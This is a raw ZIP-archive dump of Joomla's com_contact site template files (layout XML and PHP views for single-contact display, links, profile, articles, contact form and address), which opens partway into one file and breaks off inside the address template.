			/>
		</fieldset>
		<!-- Form options. -->
		<fieldset name="Contact_Form" label="COM_CONTACT_MAIL_FIELDSET_LABEL">
			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				useglobal="true"
			/>
		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\�_{{7com_contact/tmpl/contact/default_user_custom_fields.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Language\Text;

$params             = $this->item->params;

$displayGroups      = $params->get('show_user_custom_fields');
$userFieldGroups    = [];
?>

<?php if (!$displayGroups || !$this->contactUser) : ?>
    <?php return; ?>
<?php endif; ?>

<?php foreach ($this->contactUser->jcfields as $field) : ?>
    <?php if ($field->value && (in_array('-1', $displayGroups) || in_array($field->group_id, $displayGroups))) : ?>
        <?php $userFieldGroups[$field->group_title][] = $field; ?>
    <?php endif; ?>
<?php endforeach; ?>

<?php foreach ($userFieldGroups as $groupTitle => $fields) : ?>
    <?php $id = ApplicationHelper::stringURLSafe($groupTitle); ?>
    <?php echo '<h3>' . ($groupTitle ?: Text::_('COM_CONTACT_USER_FIELDS')) . '</h3>'; ?>

    <div class="com-contact__user-fields contact-profile" id="user-custom-fields-<?php echo $id; ?>">
        <dl class="dl-horizontal">
        <?php foreach ($fields as $field) : ?>
            <?php if (!$field->value) : ?>
                <?php continue; ?>
            <?php endif; ?>

            <?php if ($field->params->get('showlabel')) : ?>
                <?php echo '<dt>' . Text::_($field->label) . '</dt>'; ?>
            <?php endif; ?>

            <?php echo '<dd>' . $field->value . '</dd>'; ?>
        <?php endforeach; ?>
        </dl>
    </div>
<?php endforeach; ?>
PK���\��2=��*com_contact/tmpl/contact/default_links.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<?php echo '<h3>' . Text::_('COM_CONTACT_LINKS') . '</h3>'; ?>

<div class="com-contact__links contact-links">
    <ul class="list-unstyled">
        <?php
        // Letters 'a' to 'e'
        foreach (range('a', 'e') as $char) :
            $link = $this->item->params->get('link' . $char);
            $label = $this->item->params->get('link' . $char . '_name');

            if (!$link) :
                continue;
            endif;

            // Add 'http://' if not present
            $link = (0 === strpos($link, 'http')) ? $link : 'http://' . $link;

            // If no label is present, take the link
            $label = $label ?: $link;
            ?>
            <li>
                <a href="<?php echo $link; ?>" itemprop="url" rel="noopener noreferrer">
                    <?php echo $label; ?>
                </a>
            </li>
        <?php endforeach; ?>
    </ul>
</div>
PK���\a�m߳�,com_contact/tmpl/contact/default_profile.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\String\PunycodeHelper;

?>
<?php if (PluginHelper::isEnabled('user', 'profile')) :
    $fields = $this->item->profile->getFieldset('profile'); ?>
    <div class="com-contact__profile contact-profile" id="users-profile-custom">
        <dl class="dl-horizontal">
            <?php foreach ($fields as $profile) :
                if ($profile->value) :
                    echo '<dt>' . $profile->label . '</dt>';
                    $profile->text = htmlspecialchars($profile->value, ENT_COMPAT, 'UTF-8');

                    switch ($profile->id) :
                        case 'profile_website':
                            $v_http = substr($profile->value, 0, 4);

                            if ($v_http === 'http') :
                                echo '<dd><a href="' . $profile->text . '">' . $this->escape(PunycodeHelper::urlToUTF8($profile->text)) . '</a></dd>';
                            else :
                                echo '<dd><a href="http://' . $profile->text . '">' . $this->escape(PunycodeHelper::urlToUTF8($profile->text)) . '</a></dd>';
                            endif;
                            break;

                        case 'profile_dob':
                            echo '<dd>' . HTMLHelper::_('date', $profile->text, Text::_('DATE_FORMAT_LC4'), false) . '</dd>';
                            break;

                        default:
                            echo '<dd>' . $profile->text . '</dd>';
                            break;
                    endswitch;
                endif;
            endforeach; ?>
        </dl>
    </div>
<?php endif; ?>
PK���\���**$com_contact/tmpl/contact/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_Contact"
		/>
		<message>
			<![CDATA[COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Contact\Administrator\Field"
		>
			<field
				name="id"
				type="modal_contact"
				label="COM_CONTACT_SELECT_CONTACT_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="params"
			label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
			>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="add_mailto_link"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_profile"
				type="list"
				label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				multiple="true"
				context="com_users.user"
				addfieldprefix="Joomla\Component\Fields\Administrator\Field"
				layout="joomla.form.field.list-fancy-select"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				useglobal="true"
			/>
		</fieldset>

		<!-- Form options. -->
		<fieldset
			name="Contact_Form"
			label="COM_CONTACT_MAIL_FIELDSET_LABEL"
			>

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				useglobal="true"
			/>
		</fieldset>
	</fields>
</metadata>
PK���\⾯\��$com_contact/tmpl/contact/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

$tparams = $this->item->params;
$canDo   = ContentHelper::getActions('com_contact', 'category', $this->item->catid);
$canEdit = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by === Factory::getUser()->id);
$htag    = $tparams->get('show_page_heading') ? 'h2' : 'h1';
?>

<div class="com-contact contact" itemscope itemtype="https://schema.org/Person">
    <?php if ($tparams->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($tparams->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->item->name && $tparams->get('show_name')) : ?>
        <div class="page-header">
            <<?php echo $htag; ?>>
                <?php if ($this->item->published == 0) : ?>
                    <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
                <?php endif; ?>
                <span class="contact-name" itemprop="name"><?php echo $this->item->name; ?></span>
            </<?php echo $htag; ?>>
        </div>
    <?php endif; ?>

    <?php if ($canEdit) : ?>
        <div class="icons">
            <div class="float-end">
                <div>
                    <?php echo HTMLHelper::_('contacticon.edit', $this->item, $tparams); ?>
                </div>
            </div>
        </div>
    <?php endif; ?>

    <?php $show_contact_category = $tparams->get('show_contact_category'); ?>

    <?php if ($show_contact_category === 'show_no_link') : ?>
        <h3>
            <span class="contact-category"><?php echo $this->item->category_title; ?></span>
        </h3>
    <?php elseif ($show_contact_category === 'show_with_link') : ?>
        <?php $contactLink = RouteHelper::getCategoryRoute($this->item->catid, $this->item->language); ?>
        <h3>
            <span class="contact-category"><a href="<?php echo $contactLink; ?>">
                <?php echo $this->escape($this->item->category_title); ?></a>
            </span>
        </h3>
    <?php endif; ?>

    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php if ($tparams->get('show_contact_list') && count($this->contacts) > 1) : ?>
        <form action="#" method="get" name="selectForm" id="selectForm">
            <label for="select_contact"><?php echo Text::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
            <?php echo HTMLHelper::_(
                'select.genericlist',
                $this->contacts,
                'select_contact',
                'class="form-select" onchange="document.location.href = this.value"',
                'link',
                'name',
                $this->item->link
            );
            ?>
        </form>
    <?php endif; ?>

    <?php if ($tparams->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <div class="com-contact__tags">
            <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
            <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
        </div>
    <?php endif; ?>

    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php if ($this->params->get('show_info', 1)) : ?>
        <div class="com-contact__container">
            <?php echo '<h3>' . Text::_('COM_CONTACT_DETAILS') . '</h3>'; ?>

            <?php if ($this->item->image && $tparams->get('show_image')) : ?>
                <div class="com-contact__thumbnail thumbnail">
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src'      => $this->item->image,
                            'alt'      => $this->item->name,
                            'itemprop' => 'image',
                        ]
                    ); ?>
                </div>
            <?php endif; ?>

            <?php if ($this->item->con_position && $tparams->get('show_position')) : ?>
                <dl class="com-contact__position contact-position dl-horizontal">
                    <dt><?php echo Text::_('COM_CONTACT_POSITION'); ?>:</dt>
                    <dd itemprop="jobTitle">
                        <?php echo $this->item->con_position; ?>
                    </dd>
                </dl>
            <?php endif; ?>

            <div class="com-contact__info">
                <?php echo $this->loadTemplate('address'); ?>

                <?php if ($tparams->get('allow_vcard')) : ?>
                    <?php echo Text::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
                    <a href="<?php echo Route::_('index.php?option=com_contact&view=contact&catid=' . $this->item->catslug . '&id=' . $this->item->slug . '&format=vcf'); ?>">
                    <?php echo Text::_('COM_CONTACT_VCARD'); ?></a>
                <?php endif; ?>
            </div>
        </div>

    <?php endif; ?>

    <?php if ($tparams->get('show_email_form') && ($this->item->email_to || $this->item->user_id)) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_EMAIL_FORM') . '</h3>'; ?>

        <?php echo $this->loadTemplate('form'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_links')) : ?>
        <?php echo $this->loadTemplate('links'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_articles') && $this->item->user_id && $this->item->articles) : ?>
        <?php echo '<h3>' . Text::_('JGLOBAL_ARTICLES') . '</h3>'; ?>

        <?php echo $this->loadTemplate('articles'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_profile') && $this->item->user_id && PluginHelper::isEnabled('user', 'profile')) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_PROFILE') . '</h3>'; ?>

        <?php echo $this->loadTemplate('profile'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_user_custom_fields') && $this->contactUser) : ?>
        <?php echo $this->loadTemplate('user_custom_fields'); ?>
    <?php endif; ?>

    <?php if ($this->item->misc && $tparams->get('show_misc')) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_OTHER_INFORMATION') . '</h3>'; ?>

        <div class="com-contact__miscinfo contact-miscinfo">
            <dl class="dl-horizontal">
                <dt>
                    <?php if (!$this->params->get('marker_misc')) : ?>
                        <span class="icon-info-circle" aria-hidden="true"></span>
                        <span class="visually-hidden"><?php echo Text::_('COM_CONTACT_OTHER_INFORMATION'); ?></span>
                    <?php else : ?>
                        <span class="<?php echo $this->params->get('marker_class'); ?>">
                            <?php echo $this->params->get('marker_misc'); ?>
                        </span>
                    <?php endif; ?>
                </dt>
                <dd>
                    <span class="contact-misc">
                        <?php echo $this->item->misc; ?>
                    </span>
                </dd>
            </dl>
        </div>
    <?php endif; ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
PK���\�&��jj-com_contact/tmpl/contact/default_articles.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

?>
<?php if ($this->params->get('show_articles')) : ?>
<div class="com-contact__articles contact-articles">
    <ul class="list-unstyled">
        <?php foreach ($this->item->articles as $article) : ?>
            <li>
                <?php echo HTMLHelper::_('link', Route::_(RouteHelper::getArticleRoute($article->slug, $article->catid, $article->language)), htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
            </li>
        <?php endforeach; ?>
    </ul>
</div>
<?php endif; ?>
PK���\��
��)com_contact/tmpl/contact/default_form.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-contact__form contact-form">
    <form id="contact-form" action="<?php echo Route::_('index.php'); ?>" method="post" class="form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <?php if ($fieldset->name === 'captcha' && $this->captchaEnabled) : ?>
                <?php continue; ?>
            <?php endif; ?>
            <?php $fields = $this->form->getFieldset($fieldset->name); ?>
            <?php if (count($fields)) : ?>
                <fieldset class="m-0">
                    <?php if (isset($fieldset->label) && ($legend = trim(Text::_($fieldset->label))) !== '') : ?>
                        <legend><?php echo $legend; ?></legend>
                    <?php endif; ?>
                    <?php foreach ($fields as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($this->captchaEnabled) : ?>
            <?php echo $this->form->renderFieldset('captcha'); ?>
        <?php endif; ?>
        <div class="control-group">
            <div class="controls">
                <button class="btn btn-primary validate" type="submit"><?php echo Text::_('COM_CONTACT_CONTACT_SEND'); ?></button>
                <input type="hidden" name="option" value="com_contact">
                <input type="hidden" name="task" value="contact.submit">
                <input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
                <input type="hidden" name="id" value="<?php echo $this->item->slug; ?>">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </form>
</div>
PK���\��ِ��,com_contact/tmpl/contact/default_address.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;

$icon = $this->params->get('contact_icons') == 0;

/**
 * Marker_class: Class based on the selection of text, none, or icons
 * jicon-text, jicon-none, jicon-icon
 */
?>
<dl class="com-contact__address contact-address dl-horizontal" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
    <?php
    if (
        ($this->params->get('address_check') > 0) &&
        ($this->item->address || $this->item->suburb  || $this->item->state || $this->item->country || $this->item->postcode)
    ) : ?>
        <dt>
            <?php if ($icon && !$this->params->get('marker_address')) : ?>
                <span class="icon-address" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_ADDRESS'); ?></span>
            <?php else : ?>
                <span class="<?php echo $this->params->get('marker_class'); ?>">
                    <?php echo $this->params->get('marker_address'); ?>
                </span>
            <?php endif; ?>
        </dt>

        <?php if ($this->item->address && $this->params->get('show_street_address')) : ?>
            <dd>
                <span class="contact-street" itemprop="streetAddress">
                    <?php echo nl2br($this->item->address, false); ?>
                </span>
            </dd>
        <?php endif; ?>

        <?php if ($this->item->suburb && $this->params->get('show_suburb')) : ?>
            <dd>
                <span class="contact-suburb" itemprop="addressLocality">
                    <?php echo $this->item->suburb; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->state && $this->params->get('show_state')) : ?>
            <dd>
                <span class="contact-state" itemprop="addressRegion">
                    <?php echo $this->item->state; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->postcode && $this->params->get('show_postcode')) : ?>
            <dd>
                <span class="contact-postcode" itemprop="postalCode">
                    <?php echo $this->item->postcode; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->country && $this->params->get('show_country')) : ?>
            <dd>
                <span class="contact-country" itemprop="addressCountry">
                    <?php echo $this->item->country; ?>
                </span>
            </dd>
        <?php endif; ?>
    <?php endif; ?>

<?php if ($this->item->email_to && $this->params->get('show_email')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_email')) : ?>
            <span class="icon-envelope" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_EMAIL_LABEL'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_email'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-emailto">
            <?php echo $this->item->email_to; ?>
        </span>
    </dd>
<?php endif; ?>

<?php if ($this->item->telephone && $this->params->get('show_telephone')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_telephone')) : ?>
                <span class="icon-phone" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_TELEPHONE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_telephone'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-telephone" itemprop="telephone">
            <?php echo $this->item->telephone; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->fax && $this->params->get('show_fax')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_fax')) : ?>
            <span class="icon-fax" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_FAX'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_fax'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-fax" itemprop="faxNumber">
        <?php echo $this->item->fax; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->mobile && $this->params->get('show_mobile')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_mobile')) : ?>
            <span class="icon-mobile" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_MOBILE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_mobile'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-mobile" itemprop="telephone">
            <?php echo $this->item->mobile; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->webpage && $this->params->get('show_webpage')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_webpage')) : ?>
            <span class="icon-home" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_WEBPAGE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_webpage'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-webpage">
